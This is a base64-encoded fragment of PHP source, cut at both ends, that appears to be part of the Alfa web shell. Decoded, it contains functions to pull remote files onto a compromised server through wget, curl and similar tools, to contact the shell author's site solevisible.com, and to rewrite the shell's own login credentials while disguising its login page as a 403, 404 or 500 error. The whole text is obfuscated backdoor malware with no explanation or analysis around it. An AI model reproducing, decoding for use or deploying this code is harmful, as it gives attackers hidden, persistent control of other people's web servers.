JuIGZhbHNlO1wiPjxkaXYgY2xhc3M9J3R4dGZvbnQnPlVybDogPC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd1cmwnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIHNpemU9JzUwJyBwbGFjZWhvbGRlcj0nZ29vZ2xlLmNvbSc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PC9wPjwvY2VudGVyPiIpOwppZigkX1BPU1RbJ2FsZmEyJ109PSc+PicmJiFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pKXsKJHNpdGUgPSBzdHJfcmVwbGFjZShhcnJheSgnaHR0cDovLycsJ2h0dHBzOi8vJywnd3d3LicsJ2Z0cDovLycpLCcnLCRfUE9TVFsnYWxmYTEnXSk7CiR0YXJnZXQgPSAnaHR0cDovL2FwaS53aG9hcGkuY29tLz9hcGlrZXk9MDkzYjZjYjllNmVhNzI0ZTEwMTkyODY0N2RmM2UwMDkmcj13aG9pcyZkb21haW49Jy4kc2l0ZTsKJGRhdGEgPSBAZmlsZV9nZXRfY29udGVudHMoJHRhcmdldCk7CmlmKCRkYXRhPT0nJyl7JGdldCA9IG5ldyBBbGZhQ1VSTCgpOyRnZXQtPnNzbCA9IHRydWU7JGRhdGEgPSAkZ2V0LT5TZW5kKCR0YXJnZXQpO30KJHRhcmdldCA9IEBqc29uX2RlY29kZSgkZGF0YSx0cnVlKTsKZWNobyBfX3ByZSgpOwppZihpc19hcnJheSgkdGFyZ2V0KSl7ZWNobygkdGFyZ2V0WyJ3aG9pc19yYXciXSk7fWVsc2V7ZWNobyBhbGZhRXgoIndob2lzICIuJHNpdGUpO319CmVjaG8oIjwvZGl2PiIpOwp9CmZ1bmN0aW9uIGFsZmFyZW1vdGVkbCgpewphbGZhaGVhZCgpOwplY2hvKCI8ZGl2IGNsYXNzPSdoZWFkZXInPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgVXBsb2FkIEZyb20gVXJsIHw8L2Rpdj48L3A+PHA+Cjxmb3JtIG9uc3VibWl0PVwiZygncmVtb3RlZGwnLG51bGwsdGhpcy5kLnZhbHVlLHRoaXMucC52YWx1ZSwnPj4nKTtyZXR1cm4gZmFsc2U7XCI+CjxwPjxkaXYgY2xhc3M9J3R4dGZvbnQnPlVybDogPC9kaXY+Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2QnIHNpemU9JzUwJz48L3A+CjxkaXYgY2xhc3M9J3R4dGZvbnQnPlBhdGg6PC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwJyBzaXplPSc1MCcgdmFsdWU9JyIuJEdMT0JBTFNbJ2N3ZCddLiInPjxwPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L3A+CjwvZm9ybT48L3A+PC9jZW50ZXI+Iik7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSwkX1BPU1RbJ2FsZmEyJ10sJF9QT1NUWydhbGZhMyddKSYmIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkmJiRfUE9TVFsnYWxmYTMnXT09Jz4+Jyl7CmVjaG8gX19wcmUoKTsKJHVybCA9ICRfUE9TVFsnYWxmYTEnXTsKJHBhdGggPSAkX1BPU1RbJ2FsZmEyJ107CmVjaG8oJzxjZW50ZXI+Jyk7CmlmKF9fZG93bmxvYWQoJHVybCwkcGF0aCkpewplY2hvKCc8Zm9udCBjb2xvcj0iZ3JlZW4iPlN1Y2Nlc3MuLi4hPC9mb250PicpOwp9ZWxzZXsKZWNobygnPGZvbnQgY29sb3I9InJlZCI+RXJyb3IuLi4hPC9mb250PicpOwp9CmVjaG8oJzwvY2VudGVyPicpOwp9CmVjaG8oIjwvZGl2PiIpOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gX19kb3dubG9hZCgkdXJsLCRwYXRoPWZhbHNlKXsKaWYoIXByZWdfbWF0Y2goIi9bYS16XSs6XC9cLy4rLyIsJHVybCkpIHJldHVybiBmYWxzZTsKJHNhdmVhcyA9IGJhc2VuYW1lKHJhd3VybGRlY29kZSgkdXJsKSk7CmlmKCRwYXRoKXskc2F2ZWFzPSRwYXRoLiRzYXZlYXM7fQppZigkY29udGVudCA9IF9fcmVhZF9maWxlKCR1cmwpKXsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpQHVubGluaygkc2F2ZWFzKTsKaWYoX193cml0ZV9maWxlKCRzYXZlYXMsICRjb250ZW50KSl7cmV0dXJuIHRydWU7fX0KJGJ1ZmYgPSBhbGZhRXgoIndnZXQgIi4kdXJsLiIgLU8gIi4kc2F2ZWFzKTsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwokYnVmZiA9IGFsZmFFeCgiY3VybCAiLiR1cmwuIiAtbyAiLiRzYXZlYXMpOwppZihAaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7CiRidWZmID0gYWxmYUV4KCJsd3AtZG93bmxvYWQgIi4kdXJsLiIgIi4kc2F2ZWFzKTsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwokYnVmZiA9IGFsZmFFeCgibHlueCAtc291cmNlICIuJHVybC4iID4gIi4kc2F2ZWFzKTsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwokYnVmZiA9IGFsZmFFeCgiR0VUICIuJHVybC4iID4gIi4kc2F2ZWFzKTsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwokYnVmZiA9IGFsZmFFeCgibGlua3MgLXNvdXJjZSAiLiR1cmwuIiA+ICIuJHNhdmVhcyk7CmlmKEBpc19maWxlKCRzYXZlYXMpKSByZXR1cm4gdHJ1ZTsKJGJ1ZmYgPSBhbGZhRXgoImZldGNoIC1vICIuJHNhdmVhcy4iIC1wICIuJHVybCk7CmlmKEBpc19maWxlKCRzYXZlYXMpKSByZXR1cm4gdHJ1ZTsKcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIGNsZWFuX3N0cmluZygkc3RyaW5nKXsKICBpZihmdW5jdGlvbl9leGlzdHMoImljb252IikpewoJICAkcyA9IHRyaW0oJHN0cmluZyk7CgkgICRzID0gaWNvbnYoIlVURi04IiwgIlVURi04Ly9JR05PUkUiLCAkcyk7CiAgfQogIHJldHVybiAkczsKfQpmdW5jdGlvbiBfX3JlYWRfZmlsZSgkZmlsZSwgJGJvb20gPSB0cnVlKXsKJGNvbnRlbnQgPSBmYWxzZTsKaWYoJGZoID0gQGZvcGVuKCRmaWxlLCAicmIiKSl7CiRjb250ZW50ID0gIiI7CndoaWxlKCFmZW9mKCRmaCkpewokY29udGVudCAuPSAkYm9vbSA/IGNsZWFuX3N0cmluZyhmcmVhZCgkZmgsIDgxOTIpKSA6IGZyZWFkKCRmaCwgODE5Mik7Cn0KQGZjbG9zZSgkZmgpOwp9CmlmKGVtcHR5KCRjb250ZW50KXx8ISRjb250ZW50KXsKCSRjb250ZW50ID0gYWxmYUV4KCJjYXQgJyIuYWRkc2xhc2hlcygkZmlsZSkuIiciKTsKfQpyZXR1cm4gJGNvbnRlbnQ7Cn0KZnVuY3Rpb24gYWxmYU1hcmtldCgpewplY2hvICI8ZGl2IGNsYXNzPSdoZWFkZXInPiI7CiRjdXJsID0gbmV3IEFsZmFDVVJMKCk7CiRjb250ZW50ID0gJGN1cmwtPlNlbmQoImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vbWFya2V0LnBocCIpOwokZGF0YSA9IEBqc29uX2RlY29kZSgkY29udGVudCwgdHJ1ZSk7CmlmKCFlbXB0eSgkZGF0YSkpewppZigkZGF0YVsic3RhdHVzIl0gPT0gIm9wZW4iKXsKCWVjaG8gJGRhdGFbImNvbnRlbnQiXTsKfWVsc2V7CgllY2hvICRkYXRhWyJlcnJvcl9tc2ciXTsKfQp9ZWxzZXsKCWVjaG8gIjxkaXYgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtc2l6ZToyMHB4Oyc+Q2FudCBjb25uZWN0IHRvIHRoZSBhbGZhIG1hcmtldC4uLi4hIHRyeSBsYXRlci48L2Rpdj4iOwp9CmVjaG8gIjwvZGl2PiI7Cn0KZnVuY3Rpb24gYWxmYVNldHRpbmdzKCl7CmFsZmFoZWFkKCk7CkFsZmFOdW0oNiw3LDgsOSwxMCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU2V0dGluZ3MgfDwvZGl2PjwvcD48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NldHRpbmdzXCcsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwnbWFpblwnKSI+fCBHZW5lcmFsbCBTZXR0aW5nIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsKaWYoJF9QT1NUWyJhbGZhOCJdID09ICJtYWluIil7CmVjaG8gJzxwPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU2V0dGluZ3MgfDwvZGl2PjwvcD48Zm9ybSBvblN1Ym1pdD0icmVsb2FkU2V0dGluZyh0aGlzKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9XCdwb3N0XCc+JzsKJGxnX2FycmF5ID0gYXJyYXkoJzAnPT4nTm8nLCcxJz0+J1llcycpOwokcGVuY19hcnJheSA9IGFycmF5KCdmYWxzZSc9PidObycsJ3RydWUnPT4nWWVzJyk7CiRwcm90ZWN0X2h0bWwgPSAiIjsKJGljb25faHRtbCA9ICIiOwokcG9zdEVuY19odG1sID0gIiI7CiRsb2dpbl9odG1sID0gIiI7CiRjZ2lhcGlfaHRtbCA9ICIiOwpmb3JlYWNoKCRsZ19hcnJheSBhcyAka2V5PT4kdmFsKSRwcm90ZWN0X2h0bWwgLj0gJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIiAnLigkR0xPQkFMU1snREJfTkFNRSddWydzYWZlbW9kZSddPT0nMSc/J3NlbGVjdGVkJzonJykuJz4nLiR2YWwuJzwvb3B0aW9uPic7CmZvcmVhY2goJGxnX2FycmF5IGFzICRrZXk9PiR2YWwpJGljb25faHRtbCAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciICcuKCRHTE9CQUxTWydEQl9OQU1FJ11bJ3Nob3dfaWNvbnMnXT09JzEnPydzZWxlY3RlZCc6JycpLic+Jy4kdmFsLic8L29wdGlvbj4nOwpmb3JlYWNoKCRwZW5jX2FycmF5IGFzICRrZXk9PiR2YWwpJGNnaWFwaV9odG1sIC49ICc8b3B0aW9uIHZhbHVlPSInLiRrZXkuJyIgJy4oIWVtcHR5KCRfUE9TVFsnYWxmYTknXSkmJiRfUE9TVFsnYWxmYTknXT09JGtleT8ic2VsZWN0ZWQiOigkR0xPQkFMU1siREJfTkFNRSJdWyJjZ2lfYXBpIl0mJmVtcHR5KCRfUE9TVFsnYWxmYTknXSk/J3NlbGVjdGVkJzonJykpLic+Jy4kdmFsLic8L29wdGlvbj4nOwpmb3JlYWNoKCRwZW5jX2FycmF5IGFzICRrZXk9PiR2YWwpJHBvc3RFbmNfaHRtbCAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciICcuKCFlbXB0eSgkX1BPU1RbJ2FsZmE3J10pJiYkX1BPU1RbJ2FsZmE3J109PSRrZXk/InNlbGVjdGVkIjooX19BTEZBX1BPU1RfRU5DUllQVElPTl9fJiZlbXB0eSgkX1BPU1RbJ2FsZmE3J10pPydzZWxlY3RlZCc6JycpKS4nPicuJHZhbC4nPC9vcHRpb24+JzsKJGxnX2FycmF5ID0gYXJyYXkoImd1aSI9PiJHVUkiLCI1MDAiPT4iNTAwIEludGVybmFsIFNlcnZlciBFcnJvciIsIjQwMyI9PiI0MDMgRm9yYmlkZGVuIiwiNDA0Ij0+IjQwNCBOb3RGb3VuZCIpOwpmb3JlYWNoKCRsZ19hcnJheSBhcyAka2V5PT4kdmFsKSRsb2dpbl9odG1sIC49ICc8b3B0aW9uIHZhbHVlPSInLiRrZXkuJyIgJy4oJEdMT0JBTFNbJ0RCX05BTUUnXVsnbG9naW5fcGFnZSddPT0ka2V5PydzZWxlY3RlZCc6JycpLic+Jy4kdmFsLic8L29wdGlvbj4nOwplY2hvICcnOwplY2hvICc8dGFibGUgYm9yZGVyPSIxIj48dGJvZHk+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5Qcm90ZWN0OjwvZGl2PjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT0icHJvdGVjdCIgc3R5bGU9IndpZHRoOjEwMCU7Ij4nLiRwcm90ZWN0X2h0bWwuJzwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkPjxkaXYgY2xhc3M9InRibHR4dCIgc3R5bGU9ImNvbG9yOiNGRkZGRkYiPkNnaSBBcGk6PC9kaXY+PC90ZD48dGQ+PHNlbGVjdCBuYW1lPSJjZ2lfYXBpIiBzdHlsZT0id2lkdGg6MTAwJTsiPicuJGNnaWFwaV9odG1sLic8L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5Qb3N0IEVuY3J5cHRpb246PC9kaXY+PC90ZD48dGQ+PHNlbGVjdCBuYW1lPSJwb3N0X2VuY3J5cHQiIHN0eWxlPSJ3aWR0aDoxMDAlOyI+Jy4kcG9zdEVuY19odG1sLic8L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5TaG93IEljb25zOjwvZGl2PjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT0iaWNvbiIgc3R5bGU9IndpZHRoOjEwMCU7Ij4nLiRpY29uX2h0bWwuJzwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5sb2dpbiBQYWdlOjwvZGl2PjwvdGQ+PHRkPjxzZWxlY3Qgc3R5bGU9IndpZHRoOjEwMCU7IiBuYW1lPSJsZ3BhZ2UiPicuJGxvZ2luX2h0bWwuJzwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkPjxkaXYgY2xhc3M9InRibHR4dCIgc3R5bGU9ImNvbG9yOiNGRkZGRkYiPlVzZXJOYW1lOjwvZGl2PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6OTUlOyIgbmFtZT0idXNlcm5hbWUiIHZhbHVlPSInLihlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pPyRHTE9CQUxTWydEQl9OQU1FJ11bJ3VzZXInXTokX1BPU1RbJ2FsZmEzJ10pLiciIHBsYWNlaG9sZGVyPSJzb2xldmlzaWJsZSI+PC90ZD48L3RyPjx0cj48dGQ+PGRpdiBjbGFzcz0idGJsdHh0IiBzdHlsZT0iY29sb3I6I0ZGRkZGRiI+UGFzc3dvcmQ6PC9kaXY+PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDo5NSU7IiBuYW1lPSJwYXNzd29yZCIgcGxhY2Vob2xkZXI9IioqKioqIj48L3RkPjwvdHI+PC90Ym9keT48L3RhYmxlPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImUiIHZhbHVlPSInLiRHTE9CQUxTWydEQl9OQU1FJ11bJ3NhZmVtb2RlJ10uJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icyIgdmFsdWU9IicuJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddLiciPjxwPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ0biIgdmFsdWU9IiAiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKaWYoJF9QT1NUWydhbGZhNSddPT0nPj4nKXsKZWNobyBfX3ByZSgpOwppZighZW1wdHkoJF9QT1NUWydhbGZhMyddKSl7CiRwcm90ZWN0ID0gJF9QT1NUWydhbGZhMSddOwokbGdwYWdlID0gJF9QT1NUWydhbGZhMiddOwokdXNlcm5hbWUgPSAkX1BPU1RbJ2FsZmEzJ107CiRwYXNzd29yZCA9IG1kNSgkX1BPU1RbJ2FsZmE0J10pOwokaWNvbiA9ICRfUE9TVFsnYWxmYTYnXTsKJHBvc3RfZW5jcnlwdCA9ICRfUE9TVFsnYWxmYTcnXTsKJGNnaV9hcGlfdmFsID0gJF9QT1NUWydhbGZhOSddOwpAY2hkaXIoJEdMT0JBTFNbJ2hvbWVfY3dkJ10pOwokYmFzZW5hbWUgPSBAYmFzZW5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOwokZGF0YSA9IEBmaWxlX2dldF9jb250ZW50cygkYmFzZW5hbWUpOwokdXNlcl9yYW5kID0gJEdMT0JBTFNbIkRCX05BTUUiXVsidXNlcl9yYW5kIl07CiRwYXNzX3JhbmQgPSAkR0xPQkFMU1siREJfTkFNRSJdWyJwYXNzX3JhbmQiXTsKJGxvZ2luX3BhZ2VfcmFuZCA9ICRHTE9CQUxTWyJEQl9OQU1FIl1bImxvZ2luX3BhZ2VfcmFuZCJdOwokc2FmZW1vZGVfcmFuZCA9ICRHTE9CQUxTWyJEQl9OQU1FIl1bInNhZmVtb2RlX3JhbmQiXTsKJHNob3dfaWNvbnNfcmFuZCA9ICRHTE9CQUxTWyJEQl9OQU1FIl1bInNob3dfaWNvbnNfcmFuZCJdOwokcG9zdF9lbmNyeXB0aW9uX3JhbmQgPSAkR0xPQkFMU1siREJfTkFNRSJdWyJwb3N0X2VuY3J5cHRpb25fcmFuZCJdOwokY2dpX2FwaV9yYW5kID0gJEdMT0JBTFNbIkRCX05BTUUiXVsiY2dpX2FwaV9yYW5kIl07CiRmaW5kX3VzZXIgPSAnL1wnJy4kdXNlcl9yYW5kLidcJyguKj8pLC9pJzsKJGZpbmRfcHcgPSAnL1wnJy4kcGFzc19yYW5kLidcJyguKj8pLC9pJzsKJGZpbmRfbGcgPSAnL1wnJy4kbG9naW5fcGFnZV9yYW5kLidcJyguKj8pLC9pJzsKJGZpbmRfcCA9ICcvXCcnLiRzYWZlbW9kZV9yYW5kLidcJyguKj8pLC9pJzsKJGljb25zID0gJy9cJycuJHNob3dfaWNvbnNfcmFuZC4nXCcoLio/KSwvaSc7CiRwb3N0RW5jID0gJy9cJycuJHBvc3RfZW5jcnlwdGlvbl9yYW5kLidcJyguKj8pLC9pJzsKJGNnaV9hcGlfcmVnID0gJy9cJycuJGNnaV9hcGlfcmFuZC4nXCcoLio/KSwvaSc7CmlmKCFlbXB0eSgkdXNlcm5hbWUpJiZwcmVnX21hdGNoKCRmaW5kX3VzZXIsJGRhdGEsJGUpKXsKJG5ldyA9ICdcJycuJHVzZXJfcmFuZC4nXCcgPT4gXCcnLiR1c2VybmFtZS4nXCcsJzsKJGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTsKfQppZighZW1wdHkoJF9QT1NUWydhbGZhNCddKSYmcHJlZ19tYXRjaCgkZmluZF9wdywkZGF0YSwkZSkpewokbmV3ID0gJ1wnJy4kcGFzc19yYW5kLidcJyA9PiBcJycuJHBhc3N3b3JkLidcJywnOwokZGF0YSA9IHN0cl9yZXBsYWNlKCRlWzBdLCRuZXcsJGRhdGEpOwp9CmlmKCFlbXB0eSgkbGdwYWdlKSYmcHJlZ19tYXRjaCgkZmluZF9sZywkZGF0YSwkZSkpewokbmV3ID0gJ1wnJy4kbG9naW5fcGFnZV9yYW5kLidcJyA9PiBcJycuJGxncGFnZS4nXCcsJzsKJGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTsKfQppZighZW1wdHkoJGZpbmRfcCkmJnByZWdfbWF0Y2goJGZpbmRfcCwkZGF0YSwkZSkpewokbmV3ID0gJ1wnJy4kc2FmZW1vZGVfcmFuZC4nXCcgPT4gXCcnLiRwcm90ZWN0LidcJywnOwokZGF0YSA9IHN0cl9yZXBsYWNlKCRlWzBdLCRuZXcsJGRhdGEpOwp9CmlmKHByZWdfbWF0Y2goJGljb25zLCRkYXRhLCRlKSl7CiRuZXcgPSAnXCcnLiRzaG93X2ljb25zX3JhbmQuJ1wnID0+IFwnJy4kaWNvbi4nXCcsJzsKJGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTsKfQppZihwcmVnX21hdGNoKCRwb3N0RW5jLCRkYXRhLCRlKSl7CiRuZXcgPSAnXCcnLiRwb3N0X2VuY3J5cHRpb25fcmFuZC4nXCcgPT4gJy4kcG9zdF9lbmNyeXB0LicsJzsKJGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTsKfQppZihwcmVnX21hdGNoKCRjZ2lfYXBpX3JlZywkZGF0YSwkZSkpewokbmV3ID0gJ1wnJy4kY2dpX2FwaV9yYW5kLidcJyA9PiAnLiRjZ2lfYXBpX3ZhbC4nLCc7CiRkYXRhID0gc3RyX3JlcGxhY2UoJGVbMF0sJG5ldywkZGF0YSk7Cn0KaWYoQGZpbGVfcHV0X2NvbnRlbnRzKCRiYXNlbmFtZSwkZGF0YSkpewplY2hvICc8Yj5Vc2VyTmFtZTogPC9iPjxmb250IGNvbG9yPSJncmVlbiI+PGI+Jy4kdXNlcm5hbWUuJzwvYj48L2ZvbnQ+PGJyIC8+PGI+UGFzc3dvcmQ6IDwvYj48Zm9udCBjb2xvcj0iZ3JlZW4iPjxiPicuJF9QT1NUWydhbGZhNCddLic8L2I+PC9mb250PjxzY3JpcHQ+cG9zdF9lbmNyeXB0aW9uX21vZGUgPSAnLiRwb3N0X2VuY3J5cHQuJzs8L3NjcmlwdD4nOwp9ZWxzZXsKX19hbGVydCgiPHNwYW4gc3R5bGU9J2NvbG9yOnJlZDsnPkZpbGUgaGFzIG5vIGVkaXQgYWNjZXNzLi4uITwvc3Bhbj4iKTsKfQp9ZWxzZXsKX19hbGVydCgiPHNwYW4gc3R5bGU9J2NvbG9yOnJlZDsnPlVzZXJOYW1lIGlzIEVtcHR5ICE8L3NwYW4+Iik7Cn0KfQp9ZWxzZWlmKCRfUE9TVFsiYWxmYTgiXSA9PSAiY29sb3IiKXsKZWNobygnPGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBDdXN0b20gQ29sb3IgfDwvZGl2PjwvcD48Zm9ybSBvblN1Ym1pdD0icmVsb2FkQ29sb3JzKCk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPVwncG9zdFwnPicpOwplY2hvICc8dGFibGUgYm9yZGVyPSIxIj48dGJvZHk+JzsKJHRlbXBsYXRlID0gJzx0cj48dGQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+PGEgaHJlZj0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9jdXN0b21jb2xvcnMve2hlbHB9LnBuZyIgdGFyZ2V0PSJfYmxhbmsiPjxmb250IGNvbG9yPSIjMDBGRjAwIj5IZWxwPC9mb250PjwvYT48L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij48ZGl2IGNsYXNzPSJ0Ymx0eHQiPntpbmRleH08L2Rpdj48L3RkPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJtYXJnaW4tbGVmdDo1cHg7Ij57dGFyZ2V0fTo8L2Rpdj48L3RkPjx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOjYwcHg7IiBtdWx0aT0ie211bHRpfSIgaWQ9Imd1aV97dGFyZ2V0fSIgb25DaGFuZ2U9ImNvbG9ySGFuZGxlcih0aGlzKTsiIHRhcmdldD0iLnt0YXJnZXR9IiB0eXBlPSJjb2xvciIgdmFsdWU9Intjb2xvcn0iPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7IiBtdWx0aT0ie211bHRpfSIgb25rZXl1cD0iY29sb3JIYW5kbGVyS2V5KHRoaXMpOyIgdGFyZ2V0PSIue3RhcmdldH0iIGlkPSJpbnB1dF97dGFyZ2V0fSIgY2xhc3M9ImNvbG9yc19pbnB1dCIgcGxhY2Vob2xkZXI9IiNmZmZmZmYiIHZhbHVlPSJ7Y29sb3J9Ij48L3RkPjwvdHI+JzsKJHggPSAxOwpmb3JlYWNoKCRHTE9CQUxTWydfX0FMRkFfQ09MT1JfXyddIGFzICRrZXkgPT4gJHZhbHVlKXsKCSRtdWx0aSA9ICIiOwoJaWYoaXNfYXJyYXkoJHZhbHVlKSl7CgkJaWYoaXNzZXQoJHZhbHVlWyJtdWx0aV9zZWxlY3RvciJdKSl7CgkJCSRtdWx0aSA9IF9fWlc1amIyUmxjZyhqc29uX2VuY29kZSgkdmFsdWUpKTsKCQl9Cgl9CgkkdmFsdWUgPSBhbGZhX2dldENvbG9yKCRrZXkpOwoJJGhlbHAgPSBzdHJ0b2xvd2VyKHN0cl9yZXBsYWNlKGFycmF5KCI6IiwgIisiKSwgYXJyYXkoIl8iLCAiX3BsdXMiKSwgJGtleSkpOwoJZWNobyBzdHJfcmVwbGFjZShhcnJheSgie2luZGV4fSIsICJ7dGFyZ2V0fSIsICJ7Y29sb3J9IiwgInttdWx0aX0iLCAie2hlbHB9IiksIGFycmF5KCR4KyssICRrZXksICR2YWx1ZSwgJG11bHRpLCAkaGVscCksICR0ZW1wbGF0ZSk7Cn0KZWNobyAnPHRyPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij4tPC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+PGRpdiBjbGFzcz0idGJsdHh0Ij4qPC9kaXY+PC90ZD48dGQ+PGRpdiBzdHlsZT0ibWFyZ2luLWxlZnQ6NXB4OyIgY2xhc3M9InRibHR4dCI+VXNlIERlZmF1bHQgQ29sb3I6PC9kaXY+PC90ZD48dGQ+PC90ZD48dGQ+PGNlbnRlcj48aW5wdXQgdHlwZT0iY2hlY2tib3giIGlkPSJ1c2VfZGVmYXVsdF9jb2xvciIgdmFsdWU9IjEiPjwvY2VudGVyPjwvdGQ+PC90cj4nOwoKZWNobyAnPC90Ym9keT48L3RhYmxlPjxwPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ0biIgdmFsdWU9IiAiPjwvcD48L2Zvcm0+PHA+PGJ1dHRvbiBzdHlsZT0icGFkZGluZzo0cHg7O21hcmdpbi1yaWdodDoyMHB4OyIgb25jbGljaz0iJChcJ2ltcG9ydEZpbGVCdG5cJykuY2xpY2soKTsiIGNsYXNzPSJidXR0b24iPiBJbXBvcnQgPC9idXR0b24+IDxidXR0b24gc3R5bGU9InBhZGRpbmc6NHB4O21hcmdpbi1sZWZ0OjIwcHg7IiBvbmNsaWNrPSJnKFwnc2V0dGluZ3NcJyxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwnZXhwb3J0XCcsXCdjb2xvclwnKSIgY2xhc3M9ImJ1dHRvbiI+IEV4cG9ydCA8L2J1dHRvbj48L2NlbnRlcj48L3A+JzsKaWYoJF9QT1NUWydhbGZhNyddPT0nZXhwb3J0Jyl7CgllY2hvIF9fcHJlKCk7CgkkY29sb3JzID0gaXNfYXJyYXkoJEdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXSk/JEdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXTphcnJheSgpOwoJJGdsb2JfY29sb3JzID0gJEdMT0JBTFNbIl9fQUxGQV9DT0xPUl9fIl07CgkkYXJyYXkgPSBhcnJheSgpOwoJZm9yZWFjaCgkZ2xvYl9jb2xvcnMgYXMgJGsgPT4gJHYpewoJCWlmKGlzc2V0KCRjb2xvcnNbJGtdKSYmIWVtcHR5KCRjb2xvcnNbJGtdKSYmISRpc19kZWZhdWx0KXsKCQkJJHYgPSB0cmltKCRjb2xvcnNbJGtdKTsKCQl9ZWxzZXsKCQkJJHYgPSB0cmltKGlzX2FycmF5KCR2KT8kdlsia2V5X2NvbG9yIl06JHYpOwoJCX0KCQkkYXJyYXlbJGtdID0gJHY7Cgl9CgkkZmlsZSA9ICJhbGZhX2NvbG9yX2NvbmZpZ18iLmRhdGUoJ1ktbS1kLWhfaV9zJykuIi5jb25mIjsKCSRjb25maWcgPSBqc29uX2VuY29kZSgkYXJyYXksIEpTT05fUFJFVFRZX1BSSU5UKTsKCWlmKCFAZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICRjb25maWcpKXsKCQllY2hvKCc8cD48Y2VudGVyPkNvbG9yIENvbmZpZzo8YnI+PGJyPjx0ZXh0YXJlYSByb3dzPSIxMiIgY29scz0iNzAiIHR5cGU9InRleHQiPicuJGNvbmZpZy4nPC90ZXh0YXJlYT48L2NlbnRlcj48L3A+Jyk7Cgl9ZWxzZXsKCQllY2hvKCc8aDM+PHA+PGNlbnRlcj48YSBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGl